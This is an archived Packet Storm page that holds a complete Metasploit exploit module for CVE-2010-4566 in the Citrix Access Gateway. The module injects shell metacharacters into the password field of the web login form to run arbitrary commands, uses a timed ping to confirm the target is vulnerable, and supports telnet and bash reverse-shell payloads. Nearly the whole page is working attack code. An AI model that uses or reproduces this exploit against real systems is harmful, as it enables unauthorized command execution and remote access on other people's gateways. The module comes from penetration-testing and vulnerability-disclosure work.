exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Citrix Access Gateway Command Execution

Citrix Access Gateway Command Execution
Posted Mar 4, 2011
Authored by George D. Gal, Erwin Paternotte | Site metasploit.com

The Citrix Access Gateway provides support for multiple authentication types. When utilizing the external legacy NTLM authentication module known as ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command line utility to verify a user's identity and password. By embedding shell metacharacters in the web authentication form it is possible to execute arbitrary commands on the Access Gateway.

tags | exploit, web, arbitrary, shell
advisories | CVE-2010-4566, OSVDB-70099
SHA-256 | 67ee0d90c122f14d2d05bf0be45df498f4d30d47f4fb4d085869433a4c230eb3

Citrix Access Gateway Command Execution

Change Mirror Download
##
# $Id: citrix_access_gateway_exec.rb 11873 2011-03-03 20:51:12Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix Access Gateway Command Execution',
'Description' => %q{
The Citrix Access Gateway provides support for multiple authentication types.
When utilizing the external legacy NTLM authentication module known as
ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
line utility to verify a user's identity and password. By embedding shell
metacharacters in the web authentication form it is possible to execute
arbitrary commands on the Access Gateway.
},
'Author' =>
[
'George D. Gal', # Original advisory
'Erwin Paternotte', # Exploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11873 $',
'References' =>
[
[ 'CVE', '2010-4566' ],
[ 'OSVDB', '70099' ],
[ 'BID', '45402' ],
[ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 127,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic telnet bash-tcp'
}
},
'DefaultOptions' =>
{
'WfsDelay' => 30
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Dec 21 2010',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [ true, 'Use SSL', true ]),
], self.class)

end

def post(command, background)
username = rand_text_alphanumeric(20)

if background
sploit = Rex::Text.uri_encode('|' + command + '&')
else
sploit = Rex::Text.uri_encode('|' + command)
end

data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username="
data << username
data << "&password="
data << sploit

res = send_request_cgi({
'uri' => '/',
'method' => 'POST',
'data' => data
}, 25)
end

def check
print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")

# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
post("ping -c 10 127.0.0.1", false)
elapsed = Time.now - start
if elapsed >= 3
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
cmd = payload.encoded

if not post(cmd, true)
raise RuntimeError, "Unable to execute the desired command"
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close